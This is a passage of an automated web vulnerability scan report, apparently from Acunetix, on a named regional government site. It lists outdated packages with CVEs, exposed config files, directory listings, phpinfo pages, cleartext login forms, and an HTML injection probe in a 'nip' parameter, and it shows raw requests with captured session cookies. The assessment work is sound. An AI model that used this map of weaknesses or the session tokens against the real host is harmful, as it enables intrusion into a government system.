Special Elements used in an OS Command ('OS Command Injection') |

**Description:** OS Command injection vulnerability in function link in Filesystem.php in Laravel Framework before 5.8.17.
**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
**CWE:** CWE-78
**References:**

- https://github.com/laravel/framework/commit/44c3feb604944599ad1c782a9942981c3991fa31
- http://www.netbytesec.com/advisories/OSCommandInjectionInLaravelFramework/

**Package:** league/flysystem
**Version:** 1.0.24
**CVE:** CVE-2021-32708
**Title:** Time-of-check Time-of-use (TOCTOU) Race Condition
**Description:** Flysystem is an open source file storage library for PHP. The whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely. The conditions are: A user is allowed to supply the path or filename of an uploaded file, the supplied path or filename is not checked against unicode chars, the supplied pathname checked against an extension deny-list, not an allow-list, the supplied path or filename contains a unicode whitespace char in the extension, the uploaded file is stored in a directory that allows PHP code to be executed. Given these conditions are met a user can upload and execute arbitrary code on the system under attack. The unicode whitespace removal has been replaced with a rejection (exception). For 1.x users, upgrade to 1.1.4. For 2.x users, upgrade to 2.1.1.
**CVSS V2:** AV:N/AC:M/Au:N/C:C/I:C/A:C
**CVSS V3:** CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-367
**References:**

- https://github.com/thephpleague/flysystem/commit/f3ad69181b8afed2c9edf7be5a2918144ff4ea32
- https://github.com/thephpleague/flysystem/commit/a3c694de9f7e844b76f9d1b61296ebf6e8d89d74
- https://github.com/thephpleague/flysystem/security/advisories/GHSA-9f46-5r25-5wfm
- https://packagist.org/packages/league/flysystem
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RNZSWK4GOMJOOHKLZEOE5AQSLC4DNCRZ/
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NWPTENBYKI2IG47GI4DHAACLNRLTWUR5/

**Package:** swiftmailer/swiftmailer
**Version:** 5.4.2
**CVE:** CVE-2016-10074
**Title:** Improper Neutralization of Special Elements used in a Command ('Command Injection')
**Description:** The mail transport (aka Swift_Transport_MailTransport) in Swift Mailer before 5.4.5 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted e-mail address in the (1) From, (2) ReturnPath, or (3) Sender header.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-77
**References:**

- https://www.exploit-db.com/exploits/40972/

| | |
|---|---|
| | • https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html<br>• https://github.com/swiftmailer/swiftmailer/blob/5.x/CHANGES<br>• http://www.securityfocus.com/bid/95140<br>• http://seclists.org/fulldisclosure/2016/Dec/86<br>• http://packetstormsecurity.com/files/140290/SwiftMailer-Remote-Code-Execution.html<br>• https://www.exploit-db.com/exploits/42221/<br>• https://www.exploit-db.com/exploits/40986/<br>• http://www.debian.org/security/2017/dsa-3769<br><br>**Package:** symfony/http-kernel<br>**Version:** 2.7.14<br>**CVE:** CVE-2022-24894<br>**Title:** Improper Authorization<br>**Description:** Symfony is a PHP framework for web and console applications and a set of reusable PHP components. The Symfony HTTP cache system, acts as a reverse proxy: It caches entire responses (including headers) and returns them to the clients. In a recent change in the `AbstractSessionListener`, the response might contain a `Set-Cookie` header. If the Symfony HTTP cache system is enabled, this response might bill stored and return to the next clients. An attacker can use this vulnerability to retrieve the victim's session. This issue has been patched and is available for branch 4.4.<br>**CVSS V2:**<br>**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H<br>**CWE:** CWE-285<br>**References:**<br>• https://github.com/symfony/symfony/commit/d2f6322af9444ac5cd1ef3ac6f280dbef7f9d1fb<br>• https://github.com/symfony/symfony/security/advisories/GHSA-h7vf-5wrv-9fhv<br>• https://lists.debian.org/debian-lts-announce/2023/07/msg00014.html |

| **/skp/** | |
|---|---|
| **Alert group** | **Vulnerable package dependencies [high]** |
| Severity | High |
| Description | One or more packages that are used in your web application are affected by known vulnerabilities. Please consult the details section for more information about each affected package. |
| Recommendations | It's recommended to update the vulnerable packages to the latest version (if a fix exists). If a fix does not exist, you may want to suggest changes that address the vulnerability to the package maintainer or remove the package from your dependency tree. |
| Alert variants | |

| | |
|---|---|
| Details | List of vulnerable **composer** packages:<br><br>**Package:** laravel/framework<br>**Version:** 4.2.17<br>**CVE:** CVE-2018-6330<br>**Title:** Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')<br>**Description:** Laravel 5.4.15 is vulnerable to Error based SQL injection in save.php via dhx_user and dhx_version parameters.<br>**CVSS V2:** AV:N/AC:L/Au:S/C:P/I:P/A:P<br>**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H<br>**CWE:** CWE-89<br>**References:**<br>• https://github.com/laravel/framework/blob/5.4/CHANGELOG-5.4.md<br>• http://www.itblog.gbonanno.de/cve-2018-6330-laravel-sql-injection/<br><br>**Package:** laravel/framework<br>**Version:** 4.2.17<br>**CVE:** CVE-2018-15133<br>**Title:** Deserialization of Untrusted Data<br>**Description:** In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, remote code execution might occur as a result of an unserialize call on a potentially untrusted X-XSRF-TOKEN value. This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc. The attacker must know the application key, which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.<br>**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P<br>**CVSS V3:** CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H<br>**CWE:** CWE-502<br>**References:**<br>• https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30<br>• http://packetstormsecurity.com/files/153641/PHP-Laravel-Framework-Token-Unserialize-Remote-Command-Execution.html<br><br>**Package:** laravel/framework<br>**Version:** 4.2.17<br>**CVE:** CVE-2017-16894<br>**Title:** Exposure of Sensitive Information to an Unauthorized Actor<br>**Description:** In Laravel framework through 5.5.21, remote attackers can obtain sensitive information (such as externally usable passwords) via a direct request for the /.env URI. NOTE: this CVE is only about Laravel framework's writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting the .env permissions. The .env filename is not used exclusively by Laravel framework.<br>**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:N/A:N<br>**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N<br>**CWE:** CWE-200<br>**References:**<br>• http://whiteboyz.xyz/laravel-env-file-vuln.html<br>• https://twitter.com/finnwea/status/967709791442341888<br>• http://packetstormsecurity.com/files/153641/PHP-Laravel-Framework-Token-Unserialize-Remote-Command-Execution.html<br><br>**Package:** laravel/framework<br>**Version:** 4.2.17<br>**CVE:** CVE-2020-19316<br>**Title:** Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |

**Description:** OS Command injection vulnerability in function link in Filesystem.php in Laravel Framework before 5.8.17.
**CVSS V2:** AV:N/AC:M/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
**CWE:** CWE-78
**References:**
- https://github.com/laravel/framework/commit/44c3feb604944599ad1c782a9942981c3991fa31
- http://www.netbytesec.com/advisories/OSCommandInjectionInLaravelFramework/

**Package:** phpseclib/phpseclib
**Version:** 0.3.10
**CVE:** CVE-2021-30130
**Title:** Improper Verification of Cryptographic Signature
**Description:** phpseclib before 2.0.31 and 3.x before 3.0.7 mishandles RSA PKCS#1 v1.5 signature verification.
**CVSS V2:** AV:N/AC:L/Au:N/C:N/I:P/A:N
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
**CWE:** CWE-347
**References:**
- https://github.com/phpseclib/phpseclib/releases/tag/2.0.31
- https://github.com/phpseclib/phpseclib/pull/1635
- https://github.com/phpseclib/phpseclib/releases/tag/3.0.7
- https://lists.debian.org/debian-lts-announce/2022/11/msg00024.html
- https://lists.debian.org/debian-lts-announce/2022/11/msg00025.html

**Package:** phpseclib/phpseclib
**Version:** 0.3.10
**CVE:** CVE-2023-27560
**Title:** Loop with Unreachable Exit Condition ('Infinite Loop')
**Description:** Math/PrimeField.php in phpseclib 3.x before 3.0.19 has an infinite loop with composite primefields.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
**CWE:** CWE-835
**References:**
- https://github.com/phpseclib/phpseclib/commit/6298d1cd55c3ffa44533bd41906caec246b60440
- https://github.com/phpseclib/phpseclib/releases/tag/3.0.19

**Package:** swiftmailer/swiftmailer
**Version:** 5.4.0
**CVE:** CVE-2016-10074
**Title:** Improper Neutralization of Special Elements used in a Command ('Command Injection')
**Description:** The mail transport (aka Swift_Transport_MailTransport) in Swift Mailer before 5.4.5 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote) in a crafted e-mail address in the (1) From, (2) ReturnPath, or (3) Sender header.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
**CWE:** CWE-77
**References:**
- https://www.exploit-db.com/exploits/40972/
- https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

- https://github.com/swiftmailer/swiftmailer/blob/5.x/CHANGES
- http://www.securityfocus.com/bid/95140
- http://seclists.org/fulldisclosure/2016/Dec/86
- http://packetstormsecurity.com/files/140290/SwiftMailer-Remote-Code-Execution.html
- https://www.exploit-db.com/exploits/42221/
- https://www.exploit-db.com/exploits/40986/
- http://www.debian.org/security/2017/dsa-3769

**Package:** symfony/http-kernel
**Version:** 2.5.11
**CVE:** CVE-2022-24894
**Title:** Improper Authorization
**Description:** Symfony is a PHP framework for web and console applications and a set of reusable PHP components. The Symfony HTTP cache system, acts as a reverse proxy: It caches entire responses (including headers) and returns them to the clients. In a recent change in the `AbstractSessionListener`, the response might contain a `Set-Cookie` header. If the Symfony HTTP cache system is enabled, this response might bill stored and return to the next clients. An attacker can use this vulnerability to retrieve the victim's session. This issue has been patched and is available for branch 4.4.
**CVSS V2:**
**CVSS V3:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
**CWE:** CWE-285
**References:**
- https://github.com/symfony/symfony/commit/d2f6322af9444ac5cd1ef3ac6f280dbef7f9d1fb
- https://github.com/symfony/symfony/security/advisories/GHSA-h7vf-5wrv-9fhv
- https://lists.debian.org/debian-lts-announce/2023/07/msg00014.html

**Package:** symfony/security-core
**Version:** 2.5.11
**CVE:** CVE-2016-1902
**Title:**
**Description:** The nextBytes function in the SecureRandom class in Symfony before 2.3.37, 2.6.x before 2.6.13, and 2.7.x before 2.7.9 does not properly generate random numbers when used with PHP 5.x without the paragonie/random_compat library and the openssl_random_pseudo_bytes function fails, which makes it easier for attackers to defeat cryptographic protection mechanisms via unspecified vectors.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:N/A:N
**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
**CWE:** CWE-310
**References:**
- http://www.debian.org/security/2016/dsa-3588
- https://github.com/symfony/symfony/pull/17359
- http://symfony.com/blog/cve-2016-1902-securerandom-s-fallback-not-secure-when-openssl-fails
- https://www.landaire.net/blog/cve-2016-1902-symfony-securerandom/

**Package:** symfony/security-core
**Version:** 2.5.11
**CVE:** CVE-2018-11407
**Title:** Improper Authentication
**Description:** An issue was discovered in the Ldap component in Symfony 2.8.x before 2.8.37, 3.3.x before 3.3.17, 3.4.x before 3.4.7, and 4.0.x before 4.0.7. It allows remote attackers to bypass authentication by logging in with a "null" password and valid username, which triggers an unauthenticated bind. NOTE: this issue exists because of an incomplete fix for CVE-2016-2403.
**CVSS V2:** AV:N/AC:L/Au:N/C:P/I:P/A:P
**CVSS V3:** CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

| | |
|---|---|
| | **CWE:** CWE-287<br>**References:**<br>• https://symfony.com/blog/cve-2018-11407-unauthorized-access-on-a-misconfigured-ldap-server-when-using-an-empty-password |

| **/skp/composer.lock** | |
|---|---|
| **Alert group** | **Vulnerable project dependencies** |
| Severity | High |
| Description | A **composer.lock** file was discovered in this directory. Composer is a tool for dependency management in PHP. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you. After installing the dependencies, Composer writes the list of the exact versions it installed into a composer.lock file. This locks the project to those specific versions.<br><br>Acunetix analyzed all the project dependencies listed in the composer.lock file and found one or more project dependencies with known vulnerabilities. It's recommended to upgrade all the vulnerable packages to the latest versions. |
| Recommendations | Upgrade each vulnerable package to the latest version. |
| Alert variants | |
| Details | `1 vulnerabilities were found.`<br><br>`Package name: symfony/http-kernel`<br>`Package version: v2.5.11`<br>`Vulnerability: CVE-2015-4050: ESI unauthorized access`<br>`Link: http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access`<br>`CVE: CVE-2015-4050` |

```
GET /skp/composer.lock HTTP/1.1

Cookie: XSRF-
TOKEN=eyJpdiI6IklPMU82WkpmVHpkUTFldkNrMlI5WUE9PSIsInZhbHVlIjoic252YWU5d0ptU3dPVWNGZTc1TE5
4QzZMXC9sb0U2Q25halk3YklnU0dLcisrZmMrazRaRkZTaVVqMTlDY0tpVENTQk9ialBnbk82RVhrd01jRyt5RDZB
PT0iLCJtYWMiOiJkYWEzY2VjNmJlNWQ2MTA5NjVlN2JiMDNlYzViMDhmZmYzMjk3NzBkNDZhMjY2NTg0ODMwMjdhN
2M1YTE2NDJkIn0%3D;
bkdblora2016_session_=eyJpdiI6IkdzMVo0bUxESkhYbXVQUGUyS3k5MFE9PSIsInZhbHVlIjoicDZkd1FnaUk
5TjQ4YjNtS1h1M0p2UjlmbWlmSTlGUDR4NVFpQndRRmFwcitZSnl0WlwvcEFJQUorZmFWV2ttWEhOTDhWN1VYdlpN
QnVVeXptVG54Q093PT0iLCJtYWMiOiI5MjA4NjZkOTY4MjRiOWEyOWMwN2Q1MTIyMzI4OTQ5YmYwNzVjMDAxMDBmY
jFhODI3ZTEyNTRmOWEwYTE1ODliIn0%3D;
laravel_session=eyJpdiI6IlwvSzZ4a3pQVlJEVkV3bmNJeGFhZXdKanM5bkRlSzJXVW9vZXhIdHVQV0c4PSIsI
nZhbHVlIjoiNVlqaVBoUG1Jb2dENitcL0IrbWhsOEh0UUhQZW1hSG9neWQwYmJpdzJweGcya3lVM2lkaENOS2YwS1
Z1Q3Q3VW1xN1VpaXdORjZEYVdNaTFFODZcL0hUQT09IiwibWFjIjoiNzk2OGRhMjNlNmIwYmNhZDczNDA3OTU0OWF
kNGQ1OTQ2YTk3MTk5OGYzZTQxMWU1YWRiNGQwMDBjNWRhN2EyOSJ9

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Development configuration files** |
| Severity | Medium |
| Description | One or more configuration files (e.g. Vagrantfile, Gemfile, Rakefile, ...) were found. These files may expose sensitive information that could help a malicious user to prepare more advanced attacks. It's recommended to remove or restrict access to this type of files from production systems. |
| Recommendations | Remove or restrict access to all configuration files acessible from internet. |
| Alert variants | |

| | |
|---|---|
| Details | Development configuration files:<br>• http://sibkd.semarangkab.go.id/portal/**package.json**<br>`package.json => Grunt configuration file. Grunt is a JavaScript`<br>• http://sibkd.semarangkab.go.id/portal/**.travis.yml**<br>`.travis.yml => Travis CI configuration file. Travis CI makes wor`<br>• http://sibkd.semarangkab.go.id/portal/**package-lock.json**<br>`package-lock.json => npm file. This file keeps track of the exac`<br>• http://sibkd.semarangkab.go.id/simpeg/**package.json**<br>`package.json => Grunt configuration file. Grunt is a JavaScript`<br>• http://sibkd.semarangkab.go.id/simpeg/**composer.json**<br>`composer.json => Composer configuration file. Composer is a depe`<br>• http://sibkd.semarangkab.go.id/simpeg/**composer.lock**<br>`composer.lock => Composer lock file. Composer is a dependency ma`<br>• http://sibkd.semarangkab.go.id/simpeg/**.gitignore**<br>`.gitignore => Git configuration file. Git is a free and open sou`<br>• http://sibkd.semarangkab.go.id/skp/**composer.json**<br>`composer.json => Composer configuration file. Composer is a depe`<br>• http://sibkd.semarangkab.go.id/skp/**composer.lock**<br>`composer.lock => Composer lock file. Composer is a dependency ma` |

```
GET /portal/package.json HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Directory listings (verified)** |
| Severity | Medium |
| Description | Directory listing is a web server function that displays the directory contents when there is no index file in a specific website directory. It is dangerous to leave this function turned on for the web server because it leads to information disclosure. |

| | |
|---|---|
| Recommendations | You should make sure no sensitive information is disclosed or you may want to restrict directory listings from the web server configuration. |
| Alert variants | |
| Details | Folders with directory listing enabled:<br>• http://sibkd.semarangkab.go.id/portal/vendor/<br>• http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/<br>• http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/css/<br>• http://sibkd.semarangkab.go.id/portal/vendor/bootstrap/js/<br>• http://sibkd.semarangkab.go.id/portal/vendor/jquery/<br>• http://sibkd.semarangkab.go.id/sib/assets/css/<br>• http://sibkd.semarangkab.go.id/report/<br>• http://sibkd.semarangkab.go.id/services/<br>• http://sibkd.semarangkab.go.id/icons/<br>• http://sibkd.semarangkab.go.id/report/Badan%20Kepegawaian%20Daerah/<br>• http://sibkd.semarangkab.go.id/services/eksternal/<br>• http://sibkd.semarangkab.go.id/icons/small/<br>• http://sibkd.semarangkab.go.id/portal/css/<br>• http://sibkd.semarangkab.go.id/report/pdf/<br>• http://sibkd.semarangkab.go.id/sib/assets/js/lib/<br>• http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/<br>• http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/country/<br>• http://sibkd.semarangkab.go.id/sib/assets/css/lib/<br>• http://sibkd.semarangkab.go.id/sib/assets/css/lib/vector-map/<br>• http://sibkd.semarangkab.go.id/report/pdf/doc/<br>• http://sibkd.semarangkab.go.id/report/pdf/font/ |

```
GET /portal/vendor/ HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **/sib/module/posting_usulan.php** | |
| **Alert group** | **HTML Injection** |
| Severity | Medium |

| | |
|---|---|
| Description | HTML Injection is an attack that is similar to Cross-site Scripting (XSS). While in the XSS vulnerability the attacker can inject and execute Javascript code, the HTML injection attack only allows the injection of certain HTML tags. When an application does not properly handle user supplied data, an attacker can supply valid HTML code, typically via a parameter value, and inject their own content into the page. This attack is typically used in conjunction with some form of social engineering, as the attack is exploiting a code-based vulnerability and a user's trust.<br><br>Attack scenario (OWASP)<br><br>A possible attack scenario is demonstrated below:<br><br>• Attacker discovers injection vulnerability and decides to use an HTML injection attack<br>• Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email<br>• The user visits the page due to the page being located within a trusted domain<br>• The attacker's injected HTML is rendered and presented to the user asking for a username and password<br>• The user enters a username and password, which are both sent to the attackers server |
| Recommendations | Your script should filter metacharacters from user input. |
| Alert variants | |
| Details | URL encoded GET input **nip** was set to **1<a71X7ZU x=9711>**. |

```
GET /sib/module/posting_usulan.php?nip=1<a71X7ZU%20x=9711> HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/

Cookie: XSRF-
TOKEN=eyJpdiI6InFsaVdvQzNFYXJQamVhdGRTcWxidGc9PSIsInZhbHVlIjoidXQ4M25RR0lGb2xFUmx5NVZPM0V
SaG53WXcxUGxMVWFySW5oZG9FcXVOS2J4UjVvaFhxV3BQa1VtUzMyYm9WdFdsN3FIVXVVWHp6UVV0TlArc2RPT2c9
PSIsIm1hYyI6Ijk4MjNiOTg0MmMwOTdjNzliYzBkMWI1NDAxZDE5Nzc2Zjc2MmY5MzU0MDJiNGQ0MGQ5Yzk1ZjkxN
mMzY2I2MjcifQ%3D%3D;
bkdblora2016_session_=eyJpdiI6IlJzd1Fac2k3TFdjNm9yQVlSNjIwQ3c9PSIsInZhbHVlIjoibnpibHBaRG5
6RzY5NEdkSzJQdWZEblYzT3Zmc2lSbHpWSnVIbWExM2FLd2ZcL1JcL3FnMUNGTU9nWXgrT0h0UkhKZ0dMODd6WWI2
NFU0dVJ4TWtIalJjUT09IiwibWFjIjoiOTE3YTExYjNlNjNkMzNjNzdjNGZmOTlhOWI4MmM3MDIyZGRhMmZjZDAwZ
mNjNjE1NmQ3NDc3MTFkNGFiYWQ3YiJ9;
laravel_session=eyJpdiI6ImdjWlpRaUJBRkkwYlgwNjg1YlNJcUNoZFBXWG56WnlXbVQ3NCtlcjZDWHc9Iiwid
mFsdWUiOiJFcTBQSENnY1ArXC9NcjFPNHNncXZyZHRcL2thcTA1UFJ5V0lIaXBZU0NocWhlVW1RU0txM2d1ZUlIcU
xiTG1sYnd0QVNVS1QxWVhVVHRuWEV6VGtvdkR3PT0iLCJtYWMiOiI0MWYwYmYxZTBhMjU0ZDI1YTc2NTg3ZGM0ZGQ
1NDYzNDEzNThjYjM2YWZmNmY0ZTFmYzBlNjgxZGJiNGM2MzJhIn0%3D;
PHPSESSID=j67mrogk2vag6bkbk0e1ji70r4

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **/phpinfo.php** | |
| **Alert group** | **PHP allow_url_fopen enabled (verified)** |

| | |
|---|---|
| Severity | Medium |
| Description | The PHP configuration directive allow_url_fopen is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling allow_url_fopen and bad input filtering.<br><br>allow_url_fopen is enabled by default. |
| Recommendations | You can disable allow_url_fopen from either php.ini (for PHP versions newer than 4.3.4) or .htaccess (for PHP versions up to 4.3.4).<br><br>**php.ini**<br>allow_url_fopen = 'off'<br><br>**.htaccess**<br>php_flag allow_url_fopen off |
| Alert variants | |
| Details | This vulnerability was detected using the information from phpinfo() page.<br><br>allow_url_fopen: On |

```
GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| | |
|---|---|
| **/phpinfo.php** | |
| **Alert group** | **PHP open_basedir is not set (verified)** |
| Severity | Medium |
| Description | The open_basedir configuration directive will limit the files that can be opened by PHP to the specified directory-tree. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. open_basedir is a good protection against remote file inclusion vulnerabilities. For a remote attacker it is not possible to break out of the open_basedir restrictions if he is only able to inject the name of a file to be included. Therefore the number of files he will be able to include with such a local file include vulnerability is limited. |
| Recommendations | You can set open_basedir from php.ini<br><br>**php.ini**<br>open_basedir = your_application_directory |
| Alert variants | |
| Details | This vulnerability was detected using the information from phpinfo() page.<br><br>open_basedir: no value |

```
GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **PHPinfo pages** |
| Severity | Medium |
| Description | One or more **phpinfo()** pages were found. The **phpinfo()** function exposes a large amount of information about the PHP configuration and that of its environment. This includes information about PHP compilation options and extensions, the PHP version, server information, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License. |
| Recommendations | Remove either the call to the phpinfo() function from the file(s), or the file(s) itself. |
| Alert variants | |
| Details | PHPinfo pages found:<br>• /phpinfo.php<br>**<title>phpinfo()</title>**<br>• /simpeg/info.php<br>**<title>phpinfo()</title>** |

```
GET /phpinfo.php HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **Unencrypted connection (verified)** |
| Severity | Medium |
| Description | This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site. |
| Recommendations | The site should send and receive data over a secure (HTTPS) connection. |

| | |
|---|---|
| Alert variants | |
| Details | |

```
GET / HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|
| **Alert group** | **User credentials are sent in clear text** |
| Severity | Medium |
| Description | User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users. |
| Recommendations | Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS). |
| Alert variants | |

| | |
|---|---|
| Details | Forms with credentials sent in clear text:<br>• http://sibkd.semarangkab.go.id/sib/<br>`Form name: <empty>`<br>`Form action: module/login.php`<br>`Form method: POST`<br>`Password input: password`<br>• http://sibkd.semarangkab.go.id/simpeg/<br>`Form name: <empty>`<br>`Form action: http://sibkd.semarangkab.go.id/simpeg/login`<br>`Form method: POST`<br>`Password input: password`<br>• http://sibkd.semarangkab.go.id/skp/<br>`Form name: login-form`<br>`Form action: http://sibkd.semarangkab.go.id/skp/login`<br>`Form method: POST`<br>`Password input: password`<br>• http://sibkd.semarangkab.go.id/sib/index.html<br>`Form name: <empty>`<br>`Form action: module/login.php`<br>`Form method: POST`<br>`Password input: password`<br>• http://sibkd.semarangkab.go.id/skp/login<br>`Form name: login-form`<br>`Form action: http://sibkd.semarangkab.go.id/skp/login`<br>`Form method: POST`<br>`Password input: password`<br>• http://sibkd.semarangkab.go.id/simpeg/auth/login<br>`Form name: <empty>`<br>`Form action: http://sibkd.semarangkab.go.id/simpeg/login`<br>`Form method: POST`<br>`Password input: password` |

```
GET /sib/ HTTP/1.1

Referer: http://sibkd.semarangkab.go.id/sib

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate,br

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36

Host: sibkd.semarangkab.go.id

Connection: Keep-alive
```

| **Web Server** | |
|---|---|

| Alert group | Vulnerable JavaScript libraries |
|---|---|
| Severity | Medium |
| Description | You are using one or more vulnerable JavaScript libraries. One or more vulnerabilities were reported for this version of the library. Consult Attack details and Web References for more information about the affected library and the vulnerabilities that were reported. |
| Recommendations | Upgrade to the latest version. |
| Alert variants | |
| Details | • **jQuery 3.3.1**<br>◦ URL: http://sibkd.semarangkab.go.id/portal/<br>◦ Detection method: The library's name and version were determined based on its dynamic behavior.<br>◦ CVE-ID: CVE-2020-11022, CVE-2020-11023, CVE-2019-11358<br>◦ Description: In jQuery versions greater than or equal to 1.2 and before 3.5.0, passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / In jQuery versions greater than or equal to 1.0.3 and before 3.5.0, passing HTML containing option elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code. This problem is patched in jQuery 3.5.0. / jQuery mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution. If an unsanitized source object contained an enumerable __proto__ property, it could extend the 